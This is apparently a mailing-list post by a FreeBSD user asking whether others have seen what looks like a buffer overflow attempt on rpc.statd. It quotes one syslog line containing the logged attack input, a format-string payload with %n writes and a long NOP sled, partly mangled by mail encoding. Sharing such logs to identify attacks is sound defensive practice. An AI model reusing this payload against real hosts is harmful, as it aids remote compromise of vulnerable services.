Has anyone else run across them? It looks like a buffer overflow attempt on rpc.statd, but since there aren't any FreeBSD advisories about it I'm guessing that the script kiddies are hitting on it at random without necessarily knowing about what kind of architecture or OS they're trying to attack. Does it look familiar to anyone else? - mark Aug 23 19:16:36 foo rpc.statd: invalid hostname to sm_stat: ^X=F7=FF=BF^X= =F7=FF=BF^Y=F7=FF=BF^Y=F7=FF=BF^Z=F7=FF=BF^Z=F7=FF=BF^[=F7=FF=BF^[=F7=FF=BF= %8x%8x%8x%8x%8x%8x%8x%8x%8x%236x%n%137x%n%10x%n%192x%nM-^PM-^PM-^PM-^PM-^PM= -^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^P= M-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^= PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-= ^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM= -^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^P= M-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^= PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-= ^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM= -^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^P= M-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^= PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-= ^PM-^PM-^PM-^PM-^PM-^PM-^P -------------------------------------------------------------------- I tried an internal modem, newton@atdot.dotat.org but it hurt when I walked.
